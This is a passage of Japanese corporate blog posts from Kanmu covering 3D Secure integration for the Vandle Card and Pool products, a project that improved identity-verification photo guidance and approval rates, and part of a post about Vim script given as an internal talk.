が新しいプロダクトであり、今まで2つのプロダクトで同時に同じ対応をする、という動きがこれまでの社内では無かったためです。そこでまずはバンドルカードを社内のリファレンス実装として先に実装することに決め、そこで得られた知見をもとに Pool での実装を進めることにしました。</p> <p>次に「VCAS とは何か」「その対応のための要件と制約は何か」「そして2つのプロダクトで同時に対応するにはどういった構成パターンが考えられるか」「バンドルカードではどういった改修が必要か」といった情報を整理してドキュメントにまとめ、社内で「ぶつかり」と呼ばれているレビュー会を開催して設計を確定させることにしました。</p> <p><figure class="figure-image figure-image-fotolife" title="設計ドキュメント"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220624/20220624174512.png" width="1200" height="669" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>設計ドキュメント</figcaption></figure></p> <p>事前にいくつかの構成案の良し悪しや、個人的に迷っているポイントなどをドキュメントにまとめておいたおかげで、「ぶつかり」では各構成案に対する意見がスムーズに集約できました。また既存のシステムの設計思想の共有や今回の開発においてはその思想がどう適用しうるかといった議論もでき、純粋によい学びの時間になったなと感じています。</p> <h3>役割の分担</h3> <p>「ぶつかり」により設計がうまく確定できたので次のステップである実装に入っていくわけですが、開発規模がそこそこ大きくなってきたのでここでエンジニア間の役割分担をすることにしました。</p> <p>3D セキュアに対応するには VCAS 向けの開発とは別に <a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a> と呼ばれるカード決済を処理するシステムも改修をして、Visa 様による事前の仕様確認テストをパスする必要がありました。<a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a> についてもバンドルカードと Pool のそれぞれで改修が必要だったため、社内の <a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a> の匠である hiroakis にその対応をお願いしました。</p> <p>また、リファレンス実装として最初に実装をするバンドルカードの内部はいくつかの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%DD%A1%BC%A5%CD%A5%F3%A5%C8">コンポーネント</a>に分かれており、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%DD%A1%BC%A5%CD%A5%F3%A5%C8">コンポーネント</a>ごとに改修が必要だったため、直近でゴリゴリにバンドルカードの改善を進めてくれている Shiba にも実装の手伝いをお願いして、最終的にバックエンドエンジニアは3人体制での開発となりました。</p> <h3>実装とフィードバックの反映</h3> <p>役割分担ができたので、それぞれの担当領域で実装を進めていきます。自分は 3D セキュアによる認証時に VCAS と連携する <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> をまずバンドルカード向けに実装しました。</p> <p>設計と「ぶつかり」によりコードレビュー時に必要となる土台の知識は共有できていると感じていたので、ここからは比較的見やすい単位でコードレビューを進めていけるような流れを作ることにしました。具体的には次のような単位で順番に Pull Request を作成して実装とコードレビューを進めていきました。</p> <ol> <li>ただ起動するだけの <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> サーバーの実装</li> <li>VCAS と連携に必要な <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> エンドポイントを <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> サーバーに追加 (各エンドポイント単位で数回繰り返し)</li> <li>バグ対応や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%AF%A5%BF%A5%EA%A5%F3%A5%B0">リファクタリング</a>のための修正など</li> </ol> <p>バンドルカードの実装がある程度の形になって VCAS と接続しての<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%EB%B9%E7%A5%C6%A5%B9%A5%C8">結合テスト</a>が可能な状態になった後は、並行して Pool 用 <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> の実装も同様の流れで進めました。</p> <p>何かを新しく実装する時は何回か実装を繰り返すとより良いコードが見えてくる...といったことがよくあるかと思いますが、今回は幸いにも同じような <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> を2回実装する機会ができたので、Pool 用の <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> の実装時にはバンドルカード用の実装の課題をうまく改善する試みができました。また Pool 用の実装でうまくいった点は逆にバンドルカード用の実装にフィードバックする、といったことができたのもよかったなと感じています。</p> <h3>テストの実施</h3> <p>バンドルカードと Pool のそれぞれの実装が形になったあとは Visa 様の管理するシステムと接続しての<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%EB%B9%E7%A5%C6%A5%B9%A5%C8">結合テスト</a>を実施します。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%EB%B9%E7%A5%C6%A5%B9%A5%C8">結合テスト</a>は以下の2つを観点でそれぞれ独立して実施されました。</p> <ul> <li>VCAS とバンドルカードおよび Pool の <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> が連携して 3D セキュアの認証が正しく動作するか</li> <li>決済ネットワークである VisaNet とバンドルカードおよび Pool の <a class="keyword" href="http://d.hatena.ne.jp/keyword/Processor">Processor</a> が 3D セキュア認証後のオーソリを正しく処理できるか</li> </ul> <p>それぞれの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%EB%B9%E7%A5%C6%A5%B9%A5%C8">結合テスト</a>ではレスポンスにおける誤った値の指定や処理漏れなどの不具合が見つかりましたが、幸いにも軽微な修正で対応が可能なもので比較的スムーズにテストを終えることができました。</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%B7%EB%B9%E7%A5%C6%A5%B9%A5%C8">結合テスト</a>が完了すると、その後は本番環境の構築とリリース前の最終的なテストを経て、無事に機能リリースとなりました。</p> <h2>おわりに</h2> <p>今回は 3D セキュアの仕組みとその対応にあたっての開発の流れなどを簡単に紹介してみました。個人的には 3D セキュア対応により多くのユーザーの決済機会を増やすことができたのを嬉しいと思うと同時に、久々のプロダクト開発も楽しめてとてもよい経験になりました。</p> <p>バンドルカードでは 3D セキュアへの対応をはじめとして、今後も自分の持っている価値をどこでも自由に交換出来るようにする「価値交換」、自分の持つ価値をより良く制御できるようサポートする「価値制御」、自分が持っている価値を未来まで拡張する「未来価値」の3つの領域にフォーカスしてプロダクトの改善を進めていく予定です。これらの3つの領域の詳細については、ぜひ COO である achiku が書いた以下のブログ記事もあわせて参照してみてください。また、先日新たに提供を開始した Pool でも資産形成を軸に様々な価値を提供していきます。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fakirachiku.com%2Fpost%2F2022-06-21-we-are-building-vandle-card%2F" title="バンドルカードを作ってる2" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://akirachiku.com/post/2022-06-21-we-are-building-vandle-card/">akirachiku.com</a></cite></p> <p>カンムではこれらのプロダクトの改善に加わってくれるメンバーを募集中です。ブログ記事の内容を深掘りするだけのカジュアル面談も大歓迎ですので、ぜひお声がけください。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> kanmu-tech バンドルカードの本人確認改善の取り組み hatenablog://entry/13574176438102109535 2022-06-23T09:46:50+09:00 2022-06-23T10:13:02+09:00 デザイナーの@torimizunoです。 この記事では、バンドルカードでの本人確認改善の取り組みについて、プロジェクトチームの活動の一部をご紹介します。 バンドルカードの本人確認とは バンドルカードの本人確認 バンドルカードのバーチャルカードは本人確認不要で利用を開始できますが、リアル+カードを発行する場合は利用上限額が上がるため、本人確認手続きが必要になります。 本人確認手続きの詳細はお伝えできないのですが、手続きの一部として、本人確認書類と撮影した本人確認書類と本人情報をご提出いただき、本人であるかの確認を行います。(以降、「本人確認」と呼びます) 確認及び一定の審査が完了すると、カードの… <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220620/20220620135232.png" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span> デザイナーの<a href="https://twitter.com/torimizuno">@torimizuno</a>です。</p> <p>この記事では、バンドルカードでの本人確認改善の取り組みについて、プロジェクトチームの活動の一部をご紹介します。</p> <h5>バンドルカードの本人確認とは</h5> <p><figure class="figure-image figure-image-fotolife" title="バンドルカードの本人確認"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220615/20220615182811.png" alt="&#x30D0;&#x30F3;&#x30C9;&#x30EB;&#x30AB;&#x30FC;&#x30C9;&#x306E;&#x672C;&#x4EBA;&#x78BA;&#x8A8D;" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>バンドルカードの本人確認</figcaption></figure></p> <p>バンドルカードのバーチャルカードは本人確認不要で利用を開始できますが、リアル+カードを発行する場合は利用上限額が上がるため、本人確認手続きが必要になります。 本人確認手続きの詳細はお伝えできないのですが、手続きの一部として、本人確認書類と撮影した本人確認書類と本人情報をご提出いただき、本人であるかの確認を行います。(以降、「本人確認」と呼びます)</p> <p>確認及び一定の審査が完了すると、カードの発行を行い、お客さまのもとへカードが送られます。 本人確認ができなかった場合は再度申請をお願いすることになり、お客さまのもとへカードが届くのにお時間がかかってしまいます。</p> <p>本人確認でき発行へ進めたことを<code>承認率</code>と定義し、カスタマーサポートチームが日々状況を計測していました。 2021年5月にこの承認率が過去最低値を記録したことから、改善に注力したプロジェクトが発足し、私はデザイナーとして参加しました。</p> <h5>プロジェクトメンバー</h5> <ul> <li>カスタマーサポート</li> <li>不正検知</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%D7%A5%E9%A5%A4%A5%A2%A5%F3%A5%B9">コンプライアンス</a></li> <li>デザイナー</li> <li>エンジニア</li> </ul> <h5>取り組みの流れ</h5> <ol> <li>目的と目標の認識あわせ</li> <li>一次情報による原因調査</li> <li>課題と仮説立て</li> <li>ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>から検討</li> <li>プロトタイピングと実装とリリース</li> <li>効果を振り返る</li> <li>振り返りから次の打ち手を再検討し実施(2〜6を繰り返し)</li> </ol> <h1>目的と目標の認識あわせ</h1> <p>本人確認の<code>承認率</code>には、最初の申請で本人確認ができた<code>初回承認率</code>と、何度か再申請を重ねて本人確認ができた<code>最終的な承認率</code>と、ふたつの定義がありました。</p> <p>初回の承認率が上がれば、最短でお客さまにリアル+カードが届くことにつながり、その後の承認率向上にもなるため、初回の承認率に的を絞ることを決めました。 過去の最高値を超える値を平均としていくために、過去の最高値を目標値として目指すとしました。</p> <h1>一次情報による原因調査</h1> <p>何が原因でお客さまは本人確認ができなかったのか、住所の間違いや氏名の間違いなど、理由は分類して計測できるしくみが既にできていました。</p> <p>原因の割合でそれまでも傾向は見ていましたが、プロジェクトメンバーによって一次情報まで確認できている人とそうでない人で課題感の差がありました。 そこでひとりひとりが多角的に課題を知るために、プロジェクトメンバー全員が数百件ずつ申請情報を見に行き、本人確認できなかった理由を抽出していきました。</p> <p>例えば、本人確認書類の厚みは「表面の厚みや内容が識別できる」を判断基準で真正性を確認していますが、本人確認ができないものとしては下記のような原因が抽出されました。</p> <ul> <li>撮影した書類の全体像が写っていない</li> <li>書類がぼやけて本人情報が読めない</li> <li>暗すぎる、反射で本人情報が読めない</li> <li>厚みが見えない</li> <li>厚みの角度が急すぎて本人確認情報が見えない</li> <li>書類の裏面の厚みを撮影してしまっている</li> </ul> <p><figure class="figure-image figure-image-fotolife" title="本人確認書類の厚みの判断基準"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220620/20220620165338.png" alt="&#x672C;&#x4EBA;&#x78BA;&#x8A8D;&#x66F8;&#x985E;&#x306E;&#x539A;&#x307F;&#x306E;&#x5224;&#x65AD;&#x57FA;&#x6E96;" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>本人確認書類の厚みの判断基準</figcaption></figure></p> <p>また、自分たちで一次情報を確認していると「この申請は自分が本人確認ルールに則ってチェックすると承認だと思うけど、非承認になっている」と感じる内容があることにも気が付きました。</p> <h1>課題と仮説立て</h1> <p>本人確認できなかった原因を見ていくと、<code>申請前</code> <code>申請中</code> <code>申請後</code>のフローごとの課題と仮説が見えてきました。</p> <p><figure class="figure-image figure-image-fotolife" title="フローごとの課題"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220616/20220616130705.png" alt="&#x30D5;&#x30ED;&#x30FC;&#x3054;&#x3068;&#x306E;&#x8AB2;&#x984C;" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>フローごとの課題</figcaption></figure></p> <h4>申請前</h4> <p>そもそもの本人確認書類の情報と、住所や氏名等の現在の情報が合っていない場合が見られました。本人確認の趣旨が伝わっていない、住所確認でなく送付先住所と思われている等の仮説があげられそうです。</p> <h4>申請中</h4> <p>書類の撮影が上手くできなかったり、入力する情報を間違えてしまうなどの課題が見受けられました。撮影した書類の情報が他者にとって読み取れる必要があることが伝わっていない、書類の厚みの必要性が伝わっていない、などの仮説があげられそうです。</p> <h4>申請後</h4> <p>本人確認のチェックをしている方たちが、人によって申請内容の承認にぶれがあることが見えてきました。判断に悩む要因を一律本人確認できないとしている可能性がありそうです。</p> <p>ここから各課題の割合と影響人数を出し、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%F3%A5%D1%A5%AF">インパク</a>トのシミュレーションを作成し、初回承認率の上昇に影響のある大きさの課題から取り組む優先度を検討していきました。</p> <h1>ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>から検討</h1> <p>課題によって、プロダクト側から申請前・申請中にできるアプローチと、確認オペレーションで申請後に解決できそうなものと両軸が考えられそうなため、平行して検討と実施を進めることにしました。</p> <p>オペレーションについては カスタマーサポート・不正検知・<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%F3%A5%D7%A5%E9%A5%A4%A5%A2%A5%F3%A5%B9">コンプライアンス</a>のメンバーを中心として、本人確認を実施しているメンバーが判断に迷ったものはプロジェクトメンバーに<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A8%A5%B9">エス</a>カレーションしてもらう流れを一時的に行いました。 そこでプロジェクトメンバーがチェックを行い、迷う判断基準を<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B8%C0%B8%EC%B2%BD">言語化</a>し、確認マニュアルに落とし込んでいきます。</p> <p>プロダクト方面からのアプローチは、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Google">Google</a>スプリントの一部のプロセスを採用し、ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>だしはクレイ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>8を活用しながら実施していきました。</p> <p>クレイ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>8とは</p> <ul> <li>課題解決の参考になる情報を集め案を考える(手書きでOK)…(10分)</li> <li>その時点での案をひとり3分ずつプレゼンする…(3分✕人数)</li> <li>ほかのメンバーのプレゼンを聞いたあと、ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>を「ひとりで」練り、8つのマスに各1分で書く(8分)</li> <li>各メンバーのソリューションを匿名で批評・検討し、ベストを決める(20分)</li> </ul> <p>カンムではmeetを利用しているので、ワークショップは<a class="keyword" href="http://d.hatena.ne.jp/keyword/MTG">MTG</a>中に作成できるホワイトボード機能を利用して実施しました。 私以外のメンバーはクレイ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>8をするのは始めてだったのですが、ワークショップ中にどんどんア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>を書き起こしていってくれて、すごいなと感じました。</p> <p><figure class="figure-image figure-image-fotolife" title="クレイジー8で出たアイデア例"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220615/20220615130104.png" alt="&#x30AF;&#x30EC;&#x30A4;&#x30B8;&#x30FC;8&#x3067;&#x51FA;&#x305F;&#x30A2;&#x30A4;&#x30C7;&#x30A2;&#x4F8B;" width="1200" height="681" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>クレイ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B8%A1%BC">ジー</a>8で出たア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>例</figcaption></figure></p> <p>まずは厚み・生年月日・氏名を取り組むことを決めたので、各課題について毎週のようにア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>だしを行い、最終的にはどのア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>が最も初回の本人確認の承認率を上昇させそうかを軸に投票し、ベストなア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>を絞り込みつつ考慮すべき点もメンバーで洗い出していきました。</p> <h1>プロトタイピングと実装とリリース</h1> <p>ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>を絞り込んだ後は、ひたすらプロトタイプを作成してはチームメンバーで操作してブラッシュアップをしていきました。 例えば<code>申請中</code>の厚みの課題に対して、下記のような施策を実施しました。</p> <p>①撮影前に注意ポイント画面を挟む 厚みは表面の撮影が必要なこと、厚みと情報が読める必要がある点を伝わりやすくする <figure class="figure-image figure-image-fotolife" title="撮影前"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220616/20220616132433.png" alt="&#x64AE;&#x5F71;&#x524D;" width="1200" height="1052" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>撮影前</figcaption></figure></p> <p>②撮影時のガイドを読みとりやすいものへ 後ろ倒しの斜めから、手前斜め45度のガイドに変更して確認している本人情報が見えやすい角度での撮影を促す <figure class="figure-image figure-image-fotolife" title="撮影時"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220616/20220616132449.png" alt="&#x64AE;&#x5F71;&#x6642;" width="1200" height="1052" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>撮影時</figcaption></figure></p> <p>③撮影後の確認画面の調整 厚み撮影後にチェックする箇所を確認する体験を挟み、注意点に気付けるようにする <figure class="figure-image figure-image-fotolife" title="撮影後"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220616/20220616132507.png" alt="&#x64AE;&#x5F71;&#x5F8C;" width="1200" height="1052" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>撮影後</figcaption></figure></p> <p>ユーザーに表示される画面が増え完了までその分お時間が発生してしまうのですが、撮影で気をつけるポイントがわからず、撮影が上手くいかず申請後にやり直しが発生するほうがユーザーにとってもサービスにとってもデメリットが大きいと判断し、撮影前と撮影後のガイドを充実させました。 他にも、細やかにライティングの調整等を実施しています。</p> <h1>効果を振り返る</h1> <p>各ア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>を順にリリースしていき、それぞれで効果の振り返りをしていきます。 施策によっては仮説していた想定効果がでないものもあり、新たな仮説を立て直し次の施策へと回していきました。</p> <p>仮説に対して効果があったものでいえば、例にもあげていた申請中の厚みに対する施策は効果が見られました。 リリース前とリリース後で厚みが原因の割合がどう変化したのか調査したところ、一時期は本人確認できなかった原因の平均4割を占めていましたが、施策以降は最小1割、平均2割以下にさがっていきました。</p> <p>本人確認できなかった厚みの原因の100%のうち、改善前は「読み取れない&角度が急で読めない」が55%を占めていましたが、施策後は18%になり37%の減少が見られました。 裏面の厚みを撮影してしまう27%を占めていましたが、17%の割合に減少しました。 <figure class="figure-image figure-image-fotolife" title="厚みが原因の内訳の変化"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220616/20220616184821.png" alt="&#x539A;&#x307F;&#x304C;&#x539F;&#x56E0;&#x306E;&#x5185;&#x8A33;&#x306E;&#x5909;&#x5316;" width="1200" height="675" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>厚みが原因の内訳の変化</figcaption></figure></p> <h1>振り返りから次の打ち手を再検討し実施</h1> <p>振り返りでの分析で、数年前に申請して久しぶりに再申請を試み、本人確認できないユーザーが半数くらいいることもわかりました。 これに関しては、現状申請時にどの書類で申請したか情報を保存できておらず、一度でも再申請が発生すると、初回のガイドつき申請UIでなくガイドなしUIになってしまっている課題があるため、申請時に書類の情報の取得から順次取り組みをはじめています。</p> <p>振り返りを重ねながら継続的に施策を実施した結果、2022年1月に<code>初回承認率</code>は目標値を達成し、その後数ヶ月安定して経過しています。</p> <p>撮影時の厚みの課題以外に、入力時の間違いを減らす施策に関しても施策を繰り返しているため、また別の記事としてお伝えしていきたいです。</p> <h1>今回のプロジェクトから得た学び</h1> <p>実際に申請された情報をひとつひとつチームメンバーが見にいくことで、課題抽出の解像度があがりました。 それがメンバー間での意見活性化や、仮説とア<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A4%A5%C7%A5%A2">イデア</a>の立てやすさに繋がった感覚があります。 プロジェクトメンバー全員が一次情報をきちんと見ようとした意識で自然と動いていったのは、カンムの「事実と向き合う」文化がにじみ出ているのではないかと思います。</p> <p>施策によっては効果がなかったものもありますが、実施したことでこの仮説ではない…という事実がわかったトライ自体に価値があるとカンムに来てから感じています。</p> <p>一度施策を実施した上で再び一次情報を見にいった際、わかった事実を自分が持っているので、今まで見えてなかった観点の課題が見えるようになった時は学びが自分の中に入っている感覚がありました。その感覚が知れたことが嬉しいです。</p> <p>引き続き、バンドルカードは「誰もがかんたんにわかる」プロダクトとしての品質を高めるアップデートを続けていきます。</p> <h1>採用リンク</h1> <p>カンムではプロダクトを一緒に磨いてくれる仲間を募集しています。</p> <p>採用情報 <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> kanmu-tech 社内イベント: エディタについて語る会で Vim script と ISO8583 の話をしました hatenablog://entry/13574176438096483751 2022-06-01T15:34:53+09:00 2022-06-01T15:34:53+09:00 エンジニアの佐野です。最近記事を書いていなかったので小ネタです。先日、菅原企画の社内イベント、エディタについて語る会が催されました。職種にもよりますがカンムでは多くの従業員はオンラインで業務を行っています。たまにはオフラインで交流も...ということで来れる人はオフィスに集まってエディタの話をしつつ軽食を楽しむというコンセプトです。 当日は Vim, Emacs, Visual Studio Code, nano... と様々なエディタのゆるい話から熱い話が語られました。私は Vim の Vim script について話したので今日はそれを記事化します。 0. 私とエディタ 私は長らく Vim … <p>エンジニアの<a href="https://twitter.com/hiroakis_">佐野</a>です。最近記事を書いていなかったので小ネタです。先日、<a href="https://twitter.com/sgwr_dts">菅原</a>企画の社内イベント、エディタについて語る会が催されました。職種にもよりますがカンムでは多くの従業員はオンラインで業務を行っています。たまにはオフラインで交流も...ということで来れる人はオフィスに集まってエディタの話をしつつ軽食を楽しむというコンセプトです。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220527/20220527150513.png" width="597" height="843" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <p>当日は <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Emacs">Emacs</a>, <a class="keyword" href="http://d.hatena.ne.jp/keyword/Visual%20Studio%20Code">Visual Studio Code</a>, nano... と様々なエディタのゆるい話から熱い話が語られました。私は <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> の <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> script について話したので今日はそれを記事化します。</p> <hr /> <h3>0. 私とエディタ</h3> <p>私は長らく <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> をエディタとして使っています。「エディタ」というものを意識したのは大学生の頃でしょうか。機械工学系だったのですが<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%BD%A5%D5%A5%C8%A5%A6%A5%A7%A5%A2%B9%A9%B3%D8">ソフトウェア工学</a>や C や <a class="keyword" href="http://d.hatena.ne.jp/keyword/C%2B%2B">C++</a> がカリキュラムにあり自分もそれらを履修しました。それらの演習では <a class="keyword" href="http://d.hatena.ne.jp/keyword/Microsoft">Microsoft</a> <a class="keyword" href="http://d.hatena.ne.jp/keyword/Visual%20Studio">Visual Studio</a> (Visual <a class="keyword" href="http://d.hatena.ne.jp/keyword/C%2B%2B">C++</a>だったかな...?)やメモ帳を使っていました。それにしてもなぜメモ帳だったのか...。</p> <p>大学入学は2000年でした。ちょうどその頃に一般家庭にもインターネットが普及し始めました。IT革命という言葉が世間に踊った時期だった気がします。住んでいたアパートにもインターネット回線を導入して私はインターネットにどっぷりハマっていきました。インターネットに触れることでコンピュータに興味が出てきた私は <a class="keyword" href="http://d.hatena.ne.jp/keyword/Perl">Perl</a> を独学したり PC を自作してサーバ構築の真似事のようなことを始めました。コードを書くときに前述の <a class="keyword" href="http://d.hatena.ne.jp/keyword/Visual%20Studio">Visual Studio</a> を使いたかったのですが有償(だったと思う)で手が出しにくい、メモ帳では機能が微妙すぎる、何かないだろうか?と本屋を物色していたら Vi (<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a>), <a class="keyword" href="http://d.hatena.ne.jp/keyword/Emacs">Emacs</a> あたりの本を見つけました。どうやら Vi (<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a>) というのがシンプルで良いらしいということで Vi を使い始めました。</p> <p>使い始めた当初は「モードって何?」「なんでバックスペースで削除できないんだ?」という状態でした。普通の人からするとそんなものだと思います。設定ファイルの存在も知らず、毎回起動しては <code>:set nu</code> (行番号を表示する)を打っていました。</p> <p>サラリーマンになって <a class="keyword" href="http://d.hatena.ne.jp/keyword/Java">Java</a> を書いていたときは <a class="keyword" href="http://d.hatena.ne.jp/keyword/Eclipse">Eclipse</a> を使っていましたが、それ以外のプログラミング、サーバでのオペレーション、ファイル編集などはずっと <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> でした。これはほとんどのマシンに標準で入っていたというのと、大学からの流れで手に馴染んでいる、というのが理由でしょうか。</p> <p>その後、新しいエディタや<a class="keyword" href="http://d.hatena.ne.jp/keyword/IDE">IDE</a>が出る度に乗り換えを試みますが、結局は <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> に戻ってきました。私はロールとして長らくサーバサイドのアプリケーションエンジニアとインフラエンジニアをやっています。サーバに <a class="keyword" href="http://d.hatena.ne.jp/keyword/ssh">ssh</a> してマシン上で作業したり手元でコードを書いたり...業務中は端末を操作している時間が長いため、多くの作業をターミナルで完結させたくなります。他のエディタを起動して時にターミナルに切り替えたり...というのがちょっとしたストレスになり、結局は<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> に(ターミナルに)戻ってきてしまいます。</p> <p>最近では GoLand や <a class="keyword" href="http://d.hatena.ne.jp/keyword/VSCode">VSCode</a> への乗り換えを試みましたがやはりダメでした。</p> <h3>1. <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> の設定</h3> <p>思い出話が長くなりました。学生の頃から使っていた <a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> ですが、初期のころはいろいろな<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>を入れたり設定をこねくり回したりして盆栽のように設定を育てていました。今は<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>はだいぶ減って以下のもののみになっています。</p> <ul> <li><a href="https://github.com/Shougo/dein.vim">Shougo/dein.vim</a> <ul> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>マネージャ。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>を管理するための<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D7%A5%E9%A5%B0%A5%A4%A5%F3">プラグイン</a>です。</li> </ul> </li> <li><a href="https://github.com/itchyny/lightline.vim">itchyny/lightline.vim</a> <ul> <li>ステータスラインのカスタマイズ。</li> </ul> </li> <li><a href="https://github.com/hiroakis/cyberspace.vim">hiroakis/cyberspace.vim</a> <ul> <li>拙著、カラー<a class="keyword" 